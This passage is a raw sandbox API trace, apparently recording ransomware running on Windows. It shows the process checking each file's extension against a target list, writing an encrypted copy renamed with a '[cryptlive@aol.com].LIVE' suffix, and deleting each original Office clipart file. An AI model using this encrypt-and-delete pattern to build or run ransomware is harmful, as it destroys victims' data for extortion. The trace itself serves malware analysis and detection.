lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0141.679] GetLastError () returned 0x0 [0141.679] ReadFile (in: hFile=0x3a8, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x8b8, lpOverlapped=0x0) returned 1 [0141.695] WriteFile (in: hFile=0x39c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x8c0, lpOverlapped=0x0) returned 1 [0141.695] ReadFile (in: hFile=0x3a8, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0141.695] WriteFile (in: hFile=0x39c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.695] SetEndOfFile (hFile=0x39c) returned 1 [0141.696] CloseHandle (hObject=0x39c) returned 1 [0141.696] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.696] SetEndOfFile (hFile=0x3a8) returned 1 [0141.698] CloseHandle (hObject=0x3a8) returned 1 [0141.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.699] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf")) returned 1 [0141.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0141.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0141.702] lstrlenW (lpString=".doc") returned 4 [0141.702] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.702] lstrlenW (lpString=".docx") returned 5 [0141.702] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.702] lstrlenW (lpString=".pdf") returned 4 [0141.702] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.702] lstrlenW (lpString=".xls") returned 4 [0141.702] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.702] lstrlenW (lpString=".xlsx") returned 5 [0141.702] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.702] lstrlenW (lpString=".ppt") returned 4 [0141.702] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0141.702] lstrlenW (lpString=".zip") returned 4 [0141.702] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.702] lstrlenW (lpString=".rar") returned 4 [0141.702] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.702] lstrlenW (lpString=".bz2") returned 4 [0141.702] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.702] lstrlenW (lpString=".7z") returned 3 [0141.702] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0141.703] lstrlenW (lpString=".dbf") returned 4 [0141.703] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0141.703] lstrlenW (lpString=".1cd") returned 4 [0141.703] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0141.703] lstrlenW (lpString=".jpg") returned 4 [0141.703] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0141.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0141.703] lstrlenW (lpString=".doc") returned 4 [0141.703] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.703] lstrlenW (lpString=".docx") returned 5 [0141.703] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.703] lstrlenW (lpString=".pdf") returned 4 [0141.703] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.703] lstrlenW (lpString=".xls") returned 4 [0141.703] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.703] lstrlenW (lpString=".xlsx") returned 5 [0141.703] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.703] lstrlenW (lpString=".ppt") returned 4 [0141.703] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0141.703] lstrlenW (lpString=".zip") returned 4 [0141.703] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.703] lstrlenW (lpString=".rar") returned 4 [0141.703] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.703] lstrlenW (lpString=".bz2") returned 4 [0141.703] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.703] lstrlenW (lpString=".7z") returned 3 [0141.703] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0141.703] lstrlenW (lpString=".dbf") returned 4 [0141.703] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0141.703] lstrlenW (lpString=".1cd") returned 4 [0141.704] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0141.704] lstrlenW (lpString=".jpg") returned 4 [0141.704] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.704] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.704] lstrlenW (lpString="DD01178_.WMF") returned 12 [0141.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0141.706] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=3796) returned 1 [0141.706] CloseHandle (hObject=0x1ec) returned 1 [0141.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf")) returned 0x20 [0141.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0141.707] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.707] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0141.707] GetLastError () returned 0x0 [0141.707] ReadFile (in: hFile=0x1ec, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0xed4, lpOverlapped=0x0) returned 1 [0141.718] WriteFile (in: hFile=0x380, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xee0, lpOverlapped=0x0) returned 1 [0141.719] ReadFile (in: hFile=0x1ec, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0141.719] WriteFile (in: hFile=0x380, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.719] SetEndOfFile (hFile=0x380) returned 1 [0141.719] CloseHandle (hObject=0x380) returned 1 [0141.719] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.719] SetEndOfFile (hFile=0x1ec) returned 1 [0141.721] CloseHandle (hObject=0x1ec) returned 1 [0141.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.722] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf")) returned 1 [0141.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0141.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0141.722] lstrlenW (lpString=".doc") returned 4 [0141.722] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.722] lstrlenW (lpString=".docx") returned 5 [0141.722] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.722] lstrlenW (lpString=".pdf") returned 4 [0141.722] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.722] lstrlenW (lpString=".xls") returned 4 [0141.722] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.722] lstrlenW (lpString=".xlsx") returned 5 [0141.722] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.723] lstrlenW (lpString=".ppt") returned 4 [0141.723] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0141.723] lstrlenW (lpString=".zip") returned 4 [0141.723] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.723] lstrlenW (lpString=".rar") returned 4 [0141.723] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.723] lstrlenW (lpString=".bz2") returned 4 [0141.723] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.723] lstrlenW (lpString=".7z") returned 3 [0141.723] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0141.723] lstrlenW (lpString=".dbf") returned 4 [0141.723] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0141.723] lstrlenW (lpString=".1cd") returned 4 [0141.723] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0141.723] lstrlenW (lpString=".jpg") returned 4 [0141.723] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0141.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0141.723] lstrlenW (lpString=".doc") returned 4 [0141.723] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.723] lstrlenW (lpString=".docx") returned 5 [0141.723] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.723] lstrlenW (lpString=".pdf") returned 4 [0141.723] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.723] lstrlenW (lpString=".xls") returned 4 [0141.723] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.723] lstrlenW (lpString=".xlsx") returned 5 [0141.723] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.723] lstrlenW (lpString=".ppt") returned 4 [0141.723] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0141.723] lstrlenW (lpString=".zip") returned 4 [0141.724] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.724] lstrlenW (lpString=".rar") returned 4 [0141.724] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.724] lstrlenW (lpString=".bz2") returned 4 [0141.724] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.724] lstrlenW (lpString=".7z") returned 3 [0141.724] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0141.724] lstrlenW (lpString=".dbf") returned 4 [0141.724] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0141.724] lstrlenW (lpString=".1cd") returned 4 [0141.724] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0141.724] lstrlenW (lpString=".jpg") returned 4 [0141.724] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.724] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.724] lstrlenW (lpString="DD01180_.WMF") returned 12 [0141.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0141.725] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2084) returned 1 [0141.725] CloseHandle (hObject=0x1ec) returned 1 [0141.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf")) returned 0x20 [0141.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0141.725] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.725] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0141.726] GetLastError () returned 0x0 [0141.726] ReadFile (in: hFile=0x1ec, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x824, lpOverlapped=0x0) returned 1 [0141.815] WriteFile (in: hFile=0x380, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x830, lpOverlapped=0x0) returned 1 [0141.816] ReadFile (in: hFile=0x1ec, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0141.816] WriteFile (in: hFile=0x380, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.816] SetEndOfFile (hFile=0x380) returned 1 [0141.816] CloseHandle (hObject=0x380) returned 1 [0141.816] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.816] SetEndOfFile (hFile=0x1ec) returned 1 [0141.818] CloseHandle (hObject=0x1ec) returned 1 [0141.818] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.838] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf")) returned 1 [0141.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0141.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0141.843] lstrlenW (lpString=".doc") returned 4 [0141.843] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.843] lstrlenW (lpString=".docx") returned 5 [0141.843] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.843] lstrlenW (lpString=".pdf") returned 4 [0141.843] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.843] lstrlenW (lpString=".xls") returned 4 [0141.843] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.843] lstrlenW (lpString=".xlsx") returned 5 [0141.843] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.843] lstrlenW (lpString=".ppt") returned 4 [0141.843] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0141.843] lstrlenW (lpString=".zip") returned 4 [0141.844] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.844] lstrlenW (lpString=".rar") returned 4 [0141.844] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.844] lstrlenW (lpString=".bz2") returned 4 [0141.844] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.844] lstrlenW (lpString=".7z") returned 3 [0141.844] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0141.844] lstrlenW (lpString=".dbf") returned 4 [0141.844] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0141.844] lstrlenW (lpString=".1cd") returned 4 [0141.844] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0141.844] lstrlenW (lpString=".jpg") returned 4 [0141.844] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0141.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0141.844] lstrlenW (lpString=".doc") returned 4 [0141.844] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.844] lstrlenW (lpString=".docx") returned 5 [0141.844] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.844] lstrlenW (lpString=".pdf") returned 4 [0141.844] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.844] lstrlenW (lpString=".xls") returned 4 [0141.844] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.844] lstrlenW (lpString=".xlsx") returned 5 [0141.844] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.844] lstrlenW (lpString=".ppt") returned 4 [0141.844] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0141.844] lstrlenW (lpString=".zip") returned 4 [0141.844] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.844] lstrlenW (lpString=".rar") returned 4 [0141.844] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.844] lstrlenW (lpString=".bz2") returned 4 [0141.845] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.845] lstrlenW (lpString=".7z") returned 3 [0141.845] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0141.845] lstrlenW (lpString=".dbf") returned 4 [0141.845] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0141.845] lstrlenW (lpString=".1cd") returned 4 [0141.845] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0141.845] lstrlenW (lpString=".jpg") returned 4 [0141.845] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.845] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.845] lstrlenW (lpString="DD01183_.WMF") returned 12 [0141.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0141.846] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2296) returned 1 [0141.846] CloseHandle (hObject=0x380) returned 1 [0141.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf")) returned 0x20 [0141.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0141.846] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.846] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0141.847] GetLastError () returned 0x0 [0141.847] ReadFile (in: hFile=0x380, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x8f8, lpOverlapped=0x0) returned 1 [0141.860] WriteFile (in: hFile=0x394, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x900, lpOverlapped=0x0) returned 1 [0141.862] ReadFile (in: hFile=0x380, lpBuffer=0x3dc0020, 